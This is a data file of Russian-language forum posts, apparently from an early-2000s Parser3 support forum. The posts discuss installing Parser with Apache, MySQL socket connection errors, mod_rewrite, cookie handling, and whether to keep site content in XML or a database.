"14769","нельзя делать никогда. Не слушайте такие советы, ибо найдете на свою задницу приключений. Проще начать изучать теорию БД, времени в итоге уйдет меньше и головной боли тоже будет меньше."
"14770","...у меня работает исправно.\
\
Если не поленитесь написать про баги, обязательно поправлю."
"14771","...подумай над использованием хэш-лукапов (из таблице создаешь хеш с интересующими тебя ключами и для проверки смотришь: есть-ли в хеше элемент с заданым ключем.)\
\
если таблица большая, и проверок нужно делать много - то этот метод существенно быстрее."
"14772","нас за флейм не накажут?\
толк огромный\
ты про количество пользователей забываешь.\
когда в день 7-8 тыщ уникальных\
но! групп тем ного, каждый в основном общается в своих \"любимых\" группах и темах - то все легко и просто )\
по крайней мере, существует такой форум уже с 1998 года ))))"
"14773","...вы хоть сами поняли, что написали!?\
\
Попробуйте еще раз, но только по-четче, ну и, за грамматикой послеживайте, а то нам не разобрать вашего наречия."
"14774","да ладно, расслабьтесь, просто высказал мнение. В таком случае нужны соответствующие железяки, выделенный сервер возможно."
"14775","надо посчитать сколько раз в тектсе написано \"Вася\"..."
"14776","При установке на хостинг www.mtw.ru парсера после долгих и продолжительных боёв :) почти всё получилось за исключением организации подключения к MySQL.\
\
Проблема в следующем:\
хостинг под Linux;\
CGI-парсер установился и даже парсерит странички :), правда с правами для групп пришлось повозться;\
БД MySQL тоже работает,т.к. из phpMyAdmin можно с ней работать.\
более того, на php, установленном в качестве модуля апача, работает чат, который обращается к БД.\
а парсер к БД не может подключится, хотя парсерные драйвера для MySQL 100% работают - парсером с этого сервера можно подключиться к удалённой БД и всё чётко работает. А на самом сервере не пускает - даже через localhost!!! А php через localhost с БД работает!\
\
Да и удалённо из MySQL-клиента нельзя подключиться к этой БД, хотя в службе техподдержки уверяют, что порт 3306 открыт :(, но мне что-то не верится. Даже telnet-ом по этому порту нельзя подключиться!\
\
Спецы по юниксам и MySQL подскажите мне, что нужно сделать, чтобы стало можно удалённо подключаться к БД и чтобы парсер смог к ней цепляться (я думаю если настроить удалённый доступ, то парсер начнёт цепляться, только пока не знаю как это сделать - где и что нужно прописать, каким пользователям и каким группам права раздать, какие и как. Есть доступ к серваку через ssh).\
\
Кто знает, что нужно сделать, пожалуйста, ответьте. Нужно как можно скорее!!!!! Плиз!!!"
"14777","не советов никто не довал, просто как то спантанно, буду знать...\
пока не сталкивался, как говриться как только так сразу и поучим..."
"14778","Дорогие друзья!\
Помогите начинающему.\
Вот уже 2 день бьюсь с первым уроком.\
Все вроде сделал правильно, но почему-то ничего не работает. \
Выдает мне index.html где в середине написано ^navigation[] ,а никакого меню нет.\
Не понимаю почему.\
Apache запущен, html файл запускаю через http://127.x.x.x.\
Может просто он Парсера не видит?\
Надо ли где-нибудь его прописывать (может в начале html файла, как СSS?)\
Вообще что надо делать с файлом parser3? Запускать его или нет?\
Совсем не понимаю....\
Файлы sections.cfg и auto.p лежат в корне, вместе с index.html.\
Спасибо, друзья!\
"
"14779","Для установки Parser необходимо внести изменения в основной конфигурационный файл веб-сервера, или, если у вас нет к нему доступа, необходима возможность использовать .htaccess файлы. \
\
По-умолчанию, в установке Apache возможность использования .htaccess отключена. \
Если она вам необходима, разрешите их использовать (по крайней мере, задавать FileInfo). Для чего в основном конфигурационном файле веб-сервера (обычно httpd.conf) в секцию вашего <virtualhost …> вашего сайта, или вне ее - для всех сайтов, добавьте директивы: \
<Directory /путь/к/вашему/веб/пространству> \
AllowOverride FileInfo \
</Directory> \
\
Parser3 самостоятельно выполняет необходимые перекодирования, так что для Русского Apache добавьте в основной конфигурационный файл веб-сервера (обычно httpd.conf) строку: \
CharsetDisable On \
запрещающую использование возможностей перекодирования Русского Apache для вашего сервера. \
Если возможности изменить основной конфигурационный файл веб-сервера у вас нет, добавьте эту строку в .htaccess файл. \
\
Поместите файл с исполняемым кодом Parser (в текущей версии, parser3) в каталог для CGI-скриптов. \
Под Win32: если вы используете версию Parser с поддержкой XML, в этот же каталог распакуйте XML библиотеки. \
\
Добавьте в файл .htaccess вашего сайта (или в httpd.conf в секцию <virtualhost …> вашего сайта, или вне ее - для всех сайтов) блоки: \
# назначение обработчиком .html страниц \
AddHandler parser3-handler html \
Action parser3-handler /cgi-bin/parser3 \
\
# запрет на доступ к .p файлам. основной: auto.p \
<Files ~ \"\\.p$\"> \
    Order allow,deny \
    Deny from all \
</Files> \
\
Если вас не устраивает расположение конфигурационного файла по умолчанию (см. Установка и настройка Parser3), вы можете задать его вручную (для чего необходим модуль mod_env, который по умолчанию установлен): \
\
# задание переменной окружения с путем к auto.p \
SetEnv CGI_PARSER_CONFIG /путь/к/файлу/auto.p \
"
"14780","Как соучастник боёв :)\
Ошибка вроде бы типичная - \"Can't connect to MySQL server ...\".\
Если в файле my.cnf убрать skip-networking (стоящий там по умолчанию), то, во-первых, всё равно невозможно подключиться по IP и порту, во-вторых сразу отрубаются любые связи с сервером.\
Попытка подключиться локально (через ssh и mysql) натыкается на запись - невозможно подключиться к локальному серверу по сокету.\
Пропись стандартных (мануальных) параметров в my.cnf ни к чему не приводит. Возврат к исходному файлу восстанавливает доступ к серверу, но только локально.\
Еще одна интересная запись в логах парсера:\
[Sat Mar 22 14:48:24 2003] /10.html: /home/httpd/docs/10.html(1): 'mysql://****@localhost:3306/chat' Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2) [sql.connect]\
При этом сокет настроен по-другому /tmp/mysql.sock.\
Может кто подскажет - почему парсер рвется именно по длинному (и несуществующему) адресу?\
Спасибо,\
Алексей\
А техподдержка там тормозная :("
"14781","если внимательно почитать документацию по Парсеру, то \
найдёте формат строки подключения для MySQL:\
\
user:password@[/unix/socket]/database \
\
может вам попробывать записать вот так\
\
user:password@[/tmp/mysql.sock]/database \
\
это просто предположение, т.к. сам не работал через сокеты,\
как говориться \"попытка-непытка\":)))\
\
"
"14782","сказано \
[code]\
а можно вместо номера порта в квадратных скобках передать путь к UNIX сокету (UNIX socket - это некий магический набор символов (путь), который вам расскажет администратор MySQL, если он - это не вы. Через этот сокет может идти общение с сервером): \
user:password@[/unix/socket]/database \
[/code]\
\
т.е. надо так\
[code]\
user:password@localhost:[/tmp/mysql.sock]/database \
[/code]"
"14783","$arr[^str.split[Вася]]\
$result($arr-1)"
"14784","У меня аналогичный случай.\
\
Банальная задача. Есть таблица, содержащая id статьи, ее название и список ключевых слов, разделенных запятыми. Причем слова стандартизованы. Я знаю, что это не есть хорошо. Но как исправить положение?\
\
Не изучал теорию баз данных, однако имеющихся сведений хватает для следующего варианта: создать еще две таблицы: в одной будут хранится ключевые слова с id для каждого, а в другой -- два столбца: id статьи -- id ключевого слова. С помощью последней можно будет выбрать как ключевые слова для данной статьи, так и список статей, содержащих данное ключевое слово.\
\
Если кто-то скажет, что есть менее замороченный способ, тут же сяду изучать теорию баз данных."
"14785","Это давно уже попробовали :(\
Вот пример вчерашний:\
[Fri Mar 21 17:21:36 2003] /10.html: /home/httpd/docs/10.html(1): 'mysql://****@localhost:[/tmp/mysql.sock]/chat' Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2) [sql.connect]\
\
На всякий случай привожу файл 10.html (pass для условности):\
\
@auto[]\
$connect_string[mysql://chat:pass@localhost:3306/chat]\
@main[]\
^connect[$connect_string]{HELLO WORLD!!!}\
\
Менялся только порт на сокет (в квадратных скобках).\
\
А.М."
"14786","Посоветуйте пожалуйста\
Ситуация следующая:\
Я сделал сайт, который в будущем должен будет поддерживать другой человек. HTML он знать немного будет\
\
Сейчас все страницы сайта имеют такую структуру\
[code]\
@title[]\
Название страницы\
\
@content[] \
Содержание страницы (чистый текст с тегами <p>, <b>, <h2> и т.д.)\
[/code]\
\
Так вот, вопрос в следующем. Что лучше? Так и оставить, чтобы было проще добавлять материал или всё перегнать в xml. При этом существенно усложняется структура документа, появляются лишние правила\
И вообще, чем лучше статьи держать в xml. Имеет ли смысл часть сайта держать в xml,  а часть в html? \
\
Спасибо"
"14787","Проблема такая:\
\
При использовании УРЛ-ов, преобразуемых mod_rewrite-ом, $response:location просто [b]не работает[/b].\
\
Т.е.\
$response:location[/news/] переходит просто в корень [/] (думаю, он вообще никуда не переходит на самом деле). Если же писать УРЛ уже в преобразованном виде ($response:location[?news]), то работает.\
\
Настройка mod_rewrite такая:\
[code]\
...\
Options +FollowSymlinks\
RewriteBase /\
RewriteRule ^([a-z]+)/$ /?$1\
...\
[/code]"
"14788","Извеняюсь.... За грамматику... Но мне надо зделать чтобы из формы с некоторыми полями... Информация с этих полей добавлялась в файл с таблицой... "
"14789","статьи в xml? зачем?\
\
весь контент держи в базе данных."
"14790","вот что я заметил: $response:location[/news/]\
это internal redirect, а тебе может надо все же external redirect делать? ;)\
поиск по форуму спасёт тебя, PAF всё разжёвывал ни раз"
"14791","А можно глянуть опросник и его текст, если не сложно..."
"14792","user:password@[/unix/socket]/database \
\
mysql://chat:pass@[/tmp/mysql.sock]/chat\
\
а такое ощущение что он скопмилен так, может попробывать создать всё таки \
/var/lib/mysql/mysql.sock"
"14793","Если не трудно, подскажите принцип\
\
Я что, создаю базу, а вней для каждой страницы таблицу?\
Или создаю одну таблицу, в которой две строки - адрес и содержание, а потом сверяю адрес в броузере с адресом в базе.\
\
Так примерно?"
"14794","наводка:\
\
1. определись с типами информации (\"тип страниц\")\
  * новости\
  * статьи\
  * ссылки\
2. для каждого типа делаешь таблицу, естественно.\
3. проверять УРЛ-ы -- как хочешь, например: index.html?page=article&id=5.\
\
xml в пределах одного сайта совсем не нужен. только усложнит разработку и будет медленнее."
"14796","Спасибо. Это я понял\
Но у меня такая структура сайта, что страниц типа index.html не показывается. Всегда что-то типа www.site.ru, www.site.ru/news/, www.site.ru/articles/, www.site.ru/articles/art/, www.site.ru/creat/ и т.д. Т.е. для каждой страницы своя папка\
\
Если делать так, www.site.ru/articles/?page=article&id=5., то будет некрасивый адрес\
(Кстати, так вообще можно делать?)"
"14797","контент [b]всегда[/b] полезно отделять от содержания, даже в пределах одного сайта.\
\
Вдруг этот сайт потом будет на нескольких языках?\
\
А разработка действительно усложняется, но это с лихвой окупится."
"14798","[code]\
@createCookieHash[][cookie_table;temp_table]\
  $result[^hash::create[]]\
  $cookies[$env:HTTP_COOKIE]\
  $cookie_table[^cookies.split[^;;v]]\
   ^cookie_table.menu{\
     $temp_table[^cookie_table.piece.split[=;h]]\
     ^result.add[$.[$temp_table.0][$temp_table.1]]\
                      }\
[/code]"
"14799","Можно попонятнее объяснить?\
\
То етсь это плохо, когда в одной папке один файл"
"14800","УРЛ-ы mod_rewrite-ом обрабатывай.. уже обсуждалось тыщу раз. вот можешь статью на моём сайте почитать: http://www.nbsp.ru/?article-3 (правда сам сайт без мод_реврайт)"
"14801","ошибся, содержание всегда полезно отделять от оформления.\
\
в случае с XML на одном движке, без каких либо изменений можно делать несколько сайтов, отличных по оформлению и содержанию.\
\
Что значит плохо когда в одной папке один файл?\
\
А про XML поймешь (ты ещё мал и глуп и не видал ..., - без обид :)), со временем, когда надоест copy/paste и делать постоянно одно и тоже."
"14802","http://www.egoroff.spb.ru/portfolio/apache/mod_rewrite.html"
"14803","Но тем не менее. Может мне и надоест делать копипаст в hyml, но тогда мне прижёься делать копипаст в xml"
"14804","То есть у нас было так\
http://localhost/index.php?show=news&year=2002&month=9&day=7\
а стало так\
http://localhost/news/2002/9/7/\
\
А $request:uri тогда какой будет. судя по всему должен быть news/2002/9/7/."
"14808","[code]\
$cookie:a[123]\
[/code]\
\
перегружаешь страницу (чтобы кука поставилась) и:\
\
[code]\
$c[$cookie:CLASS]\
$c.a\
[/code]\
\
в $c будет хеш со всеми куками. тебе нужно что-то другое? по приведенной тобой ссылке я не понял что хотели."
"14809","Так, модреврайт понятно (то есть пока не понятно, но разберусь)\
А с содержанием то как быть\
\
Хранить ли мне всё в xml или в базе\
\
Повторяю, дело в том, что поддерживать сайт буду не я, а какой-то человек. Максимум, что он может, это расставить теги <p>.\
\
Поэтому возникают трудности. \
Как, например, осуществить лёгкое наполнение базы\
Или как лекго сделать xml из обычного doc"
"14810","Миш, откуда это взялось?\
В доках ничего такого нет!\
И как то он не раегирует на проверку типа, т.е.\
$temp_hash[$cookie:CLASS]\
$cookie:test[testing]\
^if($temp_hash is hash){$temp_hash.test}{it's not a hash}\
^temp_hash.foreach[key;val]{$key=$val}[<br>]\
\
тем более к нему нельзя применить foreach, получишь ошибку...\
у нас Парсер, что тперь стал с недокументированными возможностями хотя бы public версии???\
"
"14811","...поэтому и не реагирует на проверку и нельзя по нему сделать foreach...\
\
http://www.parser.ru/docs/lang/obj.htm"
"14812","а потом, если понадобиться, и будет потребность - дойти и до rewrite и до БД...\
\
вначале оно значительно проще файлики редактировать... \
\
кроме того, хранение в файликах xml-я в текстом - один из неплохих вариантов для простых сайтов. к тому-же подучишь xml и появится собственное мнение (а оно особенно ценно) по разделению оформления и контента...\
\
P.S. в базе данных хранить хорошо, но... для этого нужно еще интерфейс администрирования делать и поэтому затраты достаточно большие, и иногда ненужные."
"14813","у меня просто каталог, где в куки я пишу следующем образом: код товара, и значение 1,и я не знаю что мне закажут когда придут на \"оформить заказ\"? так что вот...\
мне моё нужнее:))))"
"14814","...на сайте как хранится информация, если не секрет"
"14815","Можно ли один и тот же something.htm обрабатывать разными файлами, а не только auto.p? Предпочтителен был бы вариант http://www.some.ri/something.html?auto2.p"
"14816","Могу ли я с помощью Parser записывать некую информацию в текстовый файл?"
"14817","если бариант с БД то там, в разных полях (столбцах таблицы) хранятся куски из XML так что у меня везде XML в т.ч. и в базе :)\
\
А вообще есть исходники, можно их смотреть и думать"
"14819","Собственно сабж. ;-) \
Наглядный список развития версий и changelog можно посмотреть тут: http://www.mysql.com/doc/en/News.html\
Список нововведений в версии 4.0: http://www.mysql.com/doc/en/News-4.0.x.html\
Позволю лишь напомнить, что основным достоинством новой версии является улучшенный [url=\"http://www.mysql.com/doc/en/Fulltext_Search.html\"]полнотекстовый поиск[/url]. "
"14820","Вышла новая стабильная версия сервера баз данных MySQL 4.0.12\
\
Новые возможности:\
- Значительно возросла скорость работы по сравнению с предыдущими версиями, оптимизированы: INSERT инструкции, поиск по упакованым индексам, создание полнотекстовых индексов, групповые операции\
- InnoDB теперь является стандартным хранилищем данных, включая ACID-транзакции, вторичные ключи, каскадное обновление данных и row-level блокировки\
- Оптимизирован КЭШ запросов, значительно увеличивающий производительность\
- Добавлены новые поддержки Немецкой, Австралийской и Шведской кодировок\
- Добавлены новые возможности по обеспечению миграции баз данных, TRUNCATE TABLE (как в Oracle), IDENTITY для синонимов, автоматически обновляемые ключи (как в SyBASE), добавлена поддержка UNION инструкций\
- Большинство настроек сервера может быть включено без перезапуска сервера\
- Ускорена и оптимизирована технология MULTI-TABLE UPDATE и DELELE инструкций\
- Добавлена поддержка symbolic-links в MyISAM\
- Оптимизирован FULLTEXT поиск и индексирование с учетом языковой логики\
\
(с) rivreg.ru"
"14821","с такими сообщениями об ошибке это неудивительно.\
я пока ничего не понял, и тянуть из вас все детали клещами не собираюсь.\
\
попробуйте объяснить толково сами."
"14823","вопрос поставлен некорректно: auto.p ничего не обрабатывает.\
если вам в ряде случаев нужен ряд операторов, подключите файл с ними при помощи ^use или @USE"
"14824","driver failed to initialize client library 'libpq.so', can not open the dynamic link module [<no type>]\
\
Я так понимаю нужно где-то прописать путь к библиотеке. НО ГДЕ и КАК? \
ps postgresql нормально работает. "
"14827","На самом деле мне кажется что у меня не совсем правильный подход к этому делу, так что если вы знаете и вам не жалко - пожайлуста поделитесь идеей. \
\
Итак сам вопрос:\
Есть страничка с форумом, например такая [b]forum_page.xml[/b]:\
[code]\
<?xml version=\"1.0\"?>\
<page>\
    <head />\
    <navigation />\
    <forum />\
    <tail />\
</page>\
[/code]\
Возьмем например этот форум, у него на стартовой странице сверху фильтр, потом идут треды.\
Я для этого создаю [b]forum_structure.xml[/b]:\
[code]\
<?xml version=\"1.0\"?>\
<forum>\
    <filter />\
    <threads />\
</forum>\
[/code]\
После чего в зависимости от запроса пользователя я предполагаю достроить <filter /> и <threads />, что бы в рез-те получилось что-то вроде ([b]forum_structure.xml[/b] после обработки):\
[code]\
<?xml version=\"1.0\"?>\
<forum>\
    <filter>\
        <inputvar name=\"day\" value=\"24\">\
        <inputvar name=\"month\" value=\"3\">\
        <inputvar name=\"year\" value=\"2003\">\
    </filter>\
    <threads>\
        <tree_item title=\"bla\" date=\"today\">\
             <tree_item title=\"bla\" date=\"today\" />\
             <tree_item title=\"bla2\" date=\"today\" />\
        </tree_item>\
        <tree_item title=\"bda\" date=\"today\">\
             <tree_item title=\"bda\" date=\"today\" />\
             <tree_item title=\"bda2\" date=\"today\" />\
        </tree_item>\
    </threads>\
</forum>\
[/code]\
После чего полученное дерево пристроить к [b]forum_page.xml[/b].\
Аналогично поступить с <navigation />, <head />, <tail /> итд.\
Затем сделать ^transform всего этого чуда (чудо = forum_page.xml tree) => xhtml счастливому пользователю, пущай радуется :)\
\
[b]1) Так вот насколько этот подход правилен? Следует ли его вообще использовать? Если нет то что делать?[/b]\
\
[b]2) Не понял как на Парсере через DOM интерфейс приделать одно дерево в другое. Привидите подобный пример пожайлуста :)[/b]\
\
Заранее спасибо."
"14828","[code]\
$tbl[^table::load[path/to/table_file]]\
^tbl.append{$form:your_field_1        $form:y_f_2...}\
^tbl.save[...]\
[/code]\
неужели это сложно \"з\"делать?"
"14829","Говорю сразу, - Parser только начинаю учить.\
\
В уроке 3 набрал привеенный листинг и получаю вот такое сообщение об ошибке:\
\
Unhandled Exception (Debug)\
method of MAIN (MAIN) accepts maximum 3 parameter(s)\
if\
\
z:/home/test1.ru/www/news/auto.p(57)\
exception.type=parser.runtime \
--------------------------------------------------------------\
for z:/home/test1.ru/www/news/auto.p(56)\
menu z:/home/test1.ru/www/news/auto.p(54)\
calendar z:/home/test1.ru/www/news/test.html(1)\
\
____________\
Проверял код у же раз 10 - все набрано один в один как в руководстве. Где я лохолнулся?\
\
И второе, разделы меню (все кроме главной) почему то работают только если в каждую папку (News, Contacts и т.п.) кидать файл sections.cfg но в руководстве этого не сказано. Так я хочу знать точно нужны ли файлы sections.cfg в каждой папке?\
\
"
"14830","вместо меню есть ^navigation[] и все.\
Я так понял, что ^navigation[] надо вставить просто в обычную таблицу, как текст, а потом парсер поймет что туда надо вставить вместо ^navigation[].\
Я просто совсем не умею общаться с Apache и не понимаю как это работает и зачем это нужно...\
У меня Apache лежит на диске С: , а Parser на D: \
Есть ли разница где они лежат? Если не трудно пришлите мне схему дерева, как это все должно быть упорядочено.\
Спасибо.\
\
"
"14831",".. проблему твою я вроде проходил (все равно пока ответ на свой вопрос жду :) \
\
1) Проверь что бы в твоём проблемном ^if(...){..}{..} не было [b];[/b], в частности не пытаешься ли ты вывести например [b]&nbsp;[/b] , на парсере это будет как &nbsp^;\
\
2) sections.cfg положи в document_root, и загружай его как [b]/sections.cfg[/b].\
\
Удачи"
"14833","1) А если уж и трогать DOM, то как сделать слияние 2 деревьев и их модификацию?\
\
2) Допустим я не буду использовать DOM, а буду собирать xml страницу по-частям с помомщью иерархии вызовов методов Парсера, тогда :\
    2.1) когда и как вызывать ^transform (чую дело ^postprocess пахнет :)\
    2.2) я хотел задавать структуру например форм и других элементов в отдельном xml файле, потом модифицировать его дерево и привязывать к текущему. Это совсем не правильно?\
"
"14834","Есть база chat с пользователем chat, у которого пароль pass.\
Это БД вполне нормально работающего чата на этом же сервере.\
Далее мы создаем тестовый файл под названием 10.html, в котором прописываем следующее:\
\
@auto[]\
$connect_string[mysql://chat:pass@localhost:3306/chat]\
@main[]\
^connect[$connect_string]{HELLO WORLD!!!}\
\
Парсер при этом работает, проверено.\
При запуска этой страницы броузер выдает ответ:\
\
Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
Please contact the server administrator, ХХХ@ХХХ.ХХ and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
\
Смотрим логи парсера и видим такую строчку:\
[Sat Mar 22 14:48:24 2003] /10.html: /home/httpd/docs/10.html(1): 'mysql://****@localhost:3306/chat' Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2) [sql.connect]\
\
Ладно, думаем, поверим документации на Парсер и поставим вместо порта сокет, указанный для данного сервера (данные о порте и сервере мы смотрим из phpMyAdmin, который установлен на сервере и имеет локальный доступ к базам). Сокет такой - /tmp/mysql.sock\
\
Броузер выдает ту же ошибку, а лог выдается такой:\
[Fri Mar 21 17:21:36 2003] /10.html: /home/httpd/docs/10.html(1): 'mysql://****@localhost:[/tmp/mysql.sock]/chat' Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2) [sql.connect]\
\
Вот и спрашиваем всех - почему Парсер пытается подключиться через сокет /var/lib/mysql/mysql.sock, когда мы ему даем порт или наш работающий сокет?\
Остальные вопросы по подключению извне я пока затрагивать не хочу.\
\
Алексей"
"14835","вы ошибочно задаёте unix socket:\
\
см. http://www.parser.ru/docs/lang/app3mysql.htm\
[quote]\
user:password@[/unix/socket]/database \
[/quote]"
"14836","Пожалуйста, уберите двусмысленность данной фразы: \"а можно вместо номера порта в квадратных скобках передать путь к UNIX сокету...\"\
Лучше так:\"а можно вместо имени хоста и номера порта в квадратных скобках передать путь к UNIX сокету...\"\
\
Пример приведен правильный, рабочий. А вот слова сбивают с толку (что мы и видим на примере уважаемого Temp'а :)\
\
С уважением,\
Алексей"
"14837","запросто...\
http://crimnet.invex.ru/poll/\
\
только прошу не издеваться над первым в списке опросе, т.к. он висит на сайте.\
\
P.S. Код и пример, представленные на вышеприведенном адресе, неполные и давно-не-обновляемые. Для ознакомления достаточно, но если захотите ласт релиз, сообщите мне на мыло, я вам вышлю."
"14838","1. А задача действительного того требует ?\
2.1 когда вызывать дело твое, а вот тут люди рекоммендовали воздержаться от postprocess. синтаксис вызова найдешь в man\
2.2 совсем неправильно. Более того медленно. Лучше просто генери дерево каждый раз и пускай под xsl.\
\
P.S. Я кажется понял твою проблему :)\
     Можешь просто сгенерить xml как строку и пускать ее под трансформ."
"14839","так что\
\
1) Ну как деревья слепить надо знать, так что просьба в силе :)\
\
2.1) а где рекомендовали-то, интересно почитать?\
2.2) а можно кратенький экскурс в идеологию построения деревьев :) или как построить сайт на xml (хотя бы где прочесть без излишнего философствования)"
"14840","есть у меня проверка при постинге на форум вот такая:\
[code]\
$check1[^in_string.match[(\\S{1,30})][gmi]{$match.1 }]\
[/code]\
как ей сказать чтобы она делала это всё, но не лезла если слово начинается с url=\", т.е. чтобы линки не била пробелами?\
наверняка есть ведь у кого-то готовый вариант )\
с меня пиво как в москау буду ;)"
"14842","И почему ТАК долго отдаются зашифрованные странички?"
"14843","SSL - это шифрование как известно. Ну а шифрование это весьма серъёзная вычислительная задача и скорость выдачи страниц сервером падает раз в 10."
"14844","тогда как \"само ништяк\" сделать парольный вход на узел, спросить пароль и с этим паролем коннектиться к базе. И штобы при переходе с странички на страницу не спрашивал пароль заново. Узел только для администрирования."
"14845","1)Селектишь ноду, к которой будешь приаттачивать ветку.\
2)Формируешь ветку (как ноду).\
3) Нода.appendChild(Ветка)\
\
А вообще почитай секцию xdoc, xnode и поставь пару экспериментов."
"14846","... не очень успешно :(\
\
А можно пподробнее, про то как селектить ноду и формировать ветку.\
\
Прнцип представляю, а вот на практике, ошибки при выполнении"
"14847","Видимых граблей не вижу.\
\
Зашел на админ-сайт. \
А сервер: \"Лала... защищенное соединение. Доверять? и т.п.\"\
Доверили, соединились\
\
Обычной страничкой спросил пароль. В post'ом ее передал и вперед по сайту. А если куда нельзя, то база не пустит.\
"
"14848","@addItem[id;type]\
$itemData[^table::sql{select name_rus,price from $type where ${type}_id=\"$id\"}]\
\
$d[^xdoc::set{^untaint[as-is]{$cookie:basket}}]\
\
$el[^d.selectSingle[basket/product[@id=\"$id\" and @type=\"$type\"]]] \
^if($el){\
  $amount[^el.getAttribute[amount]]\
  $price[^el.getAttribute[price]]\
\
  ^el.setAttribute[amount;^eval($amount+1)]\
  ^el.setAttribute[price_amount;^eval($price*($amount+1))]\
  ^putBasket[$d]\
}{\
$prod[^d.createElement[product]]\
$prodName[^d.createTextNode[$itemData.name_rus]]\
\
^prod.setAttribute[id;$id]\
^prod.setAttribute[uid;^math:random(999999)]\
^prod.setAttribute[price;$itemData.price]\
^prod.setAttribute[price_amount;$itemData.price]\
^prod.setAttribute[amount;1]\
^prod.setAttribute[type;$type]\
$added[^prod.appendChild[$prodName]]\
$added[^d.documentElement.appendChild[$prod]]\
"
"14849","Если силен в аглицком:\
\
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnexxml/html/xml01202003.asp"
"14850","Неудаётся установить ПАРСЕР...\
После того, как прописал в конфиге те строки которые написаны в документации, возникает такая ситуация, когда я загружаю свою страницу, открывается не ЕКСПЛОРЕР, а просто выдаётся форма загрузки файла с таким сообщением \"некоторые файлы могут повредить компьютер.Если даная информация выглядит подозрительно, или вы не доверяете источнику, не открывайте и не сохраняйте этот файл.\" \
Если файл сохранить... так это получится мой файл без расширения....с HTML кодом, если открыть в ЕКСПЛОРЕРЕ то откроется моя страница, только без рисунков и прочего... и "
"14851","Вот кусок РАБОЧЕГО кода из конфига. \
Помню у меня тоже такие грабли под винду были, но как обошел уже запамятовал... извени\
<VirtualHost 212.164.48.15:*>\
  ServerAdmin vasyan@rubtsovsk.ru\
  DocumentRoot /var/www/avenger/html\
  ServerName avenger\
  ServerAlias www.avenger\
  ScriptAlias \"/cgi-bin/\" \"/var/www/cgi-bin/avenger/\"\
  <Directory \"var/www/cgi-bin/avenger\">\
  AllowOverride ALL\
  Options ExecCGI\
  </Directory>\
  AddType parser3-handler html\
  Action parser3-handler /cgi-bin/parser3/parser3\
  ErrorLog /var/log/apache/avenger-error.log\
  CustomLog /var/log/apache/avenger-access.log common\
  directoryIndex index.html\
</VirtualHost>"
"14852","Спасибо! Прямо в точку! Я и не мог подумать что nbsp будет без - ;"
"14853","собственно сабж. есть ли успехи?"
"14855","Систему администрирования пишешь.\
\
Админ дает пароль. сервер взамен дает id и закатывает его в базу. Ну и ещё время.\
\
Усек?"
"14856","как я понимаю, вы хотите сделать \"нестандартную\" авторизацию, но чтобы при этом пассворд передавался в зашифрованном виде?\
\
Можно оформить это дело без SSL, подробнее тут:\
http://builder.cnet.com/webbuilding/pages/Programming/Scripter/013100/"
"14857","Запарился ставить ^ здесь, все равно не пойму, в чем дело: при нажатии на ссылку в строке надпись: \"Выполнено, но с ошибками\".\
Если не трудно, поставьте птички в нужном месте, пожалуста.\
\
<SCRIPT LANGUAGE=\"JavaScript\">\
<!--\
function new_window()\
{\
window.openwindow.open('../../map.html','newwin','top=0, left=0, menubar=0, toolbar=0, location=0, directories=0, status=0, scrollbars=0, resizable=0, width=440, height=540');\
}\
//-->\
</SCRIPT>\
\
<a href=\"javascript: new_window()\">"
"14859","Скачай попросту денвер"
"14860","...получить сумму сообщений в базе данных?"
"14861","Проверьте, есть ли в конфигурационном файле парсера (/cgi-bin/parser3catalogue/auto.p) такие строчки:\
\
[code]\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
[/code]"
"14863","если тебе количество вообще:\
mysql> SELECT COUNT(*) FROM твоя_таблица;\
\
если парсером надо:\
http://www.parser.ru/forum/?id=104\
\
и на будущее:\
Search This F*ng Forum - очень много вопросов уже рассмотрено"
"14864","Настроил апач с авторизацией, теперь нужно получить юзера и пароль в скрипте (чтобы к базе подключится)."
"14865","Вчера рисовал шрифты и тестил нанесение надписей.\
Появились вот какие вопросы:\
1. Почему нельзя сохранить надпись в файл?\
вопрос отпал сам по себе, неверно трактовал документацию:\
$f[^image.gif[]]\
^f.save[binary;image.gif]\
\
2. Почему нельзя впрямую вывести собранную картинку через: ^image.html[], а только через $response:body?\
\
3. Появится ли возможность задания ширины для каждого символа в\
отдельности, к примеру если шрифт толщиной 10px, а цифра 1 только 3px, остается 7px+межбуквенное расстояние - непорядок?\
4. Как быть с бувами, которые выше стандартных или наоборот ниже\
gqbщцй?"
"14866","2. вопрос отпадёт сам по себе через 10 (9, 8, …) секунд\
3. сейчас по-умолчанию выводится шрифт выводится пропорциональный. обычно этого достаточно.\
4. они не выше или ниже. рисовать все буквы так, чтобы поместились все нужные [выбрать знакоместо повыше]."
"14867","Пропорциональный шрифт - хорошо, но вот в этом примере,\
http://spearance.tura.ru/parser3/fonts/\
вторая единица отделена как бы пробелом, хотя его на самом деле нет...\
"
"14868","полагаю, вы её в знакоместе слишком вправо нарисовали.\
parser измеряет ширину буквы, отбрасывая прозрачные пикселы только справа."
"14870","картинка не отображается из-за того что не существует реального файла этой картинки. Хотя не понятно как же она отображается через $response:body[]"
"14871","??? Столбцов наверное --> хотел сделать скроллинг для гостевой книги, думал сделать так: получить кол-во, а потом его делить по 15 на страницу."
"14872","Если тебе число записей в SQL таблице надо, смотри сообщение CODer-а, если обычной таблицы, ^твоя_таблица.count[]"
"14873","сделал все по инструкции, сначала:\
\
** Запустите Management Console, нажмите правую кнопку мыши на названии вашего веб-сервера и выберите \"Properties\".\
Перейдите на вкладку «Home directory» и в разделе «Application settings» нажмите на кнопку «Configuration...». В появившемся окне нажмите на кнопку «Add».\
В поле «Executable» задайте полный путь к CGI-скрипту parser3.exe или ISAPI расширению parser3isapi.dll.\
В поле «Extension» укажите «.html».\
Включите опцию «Check that file exists».\
Нажмите на кнопку «OK».**\
\
поставил parser3.exe в директорию с:\\Inetpub\\wwwroot\\cgi-bin\
\
затем создал файл в с:\\Inetpub\\wwwroot\\\
sections.cfg с содержанием:\
---------------------------------\
section_id	name	uri \
1	Main	/\
2	News	/news/ \
3	Contacts	/contacts/ \
4	Price	/price/ \
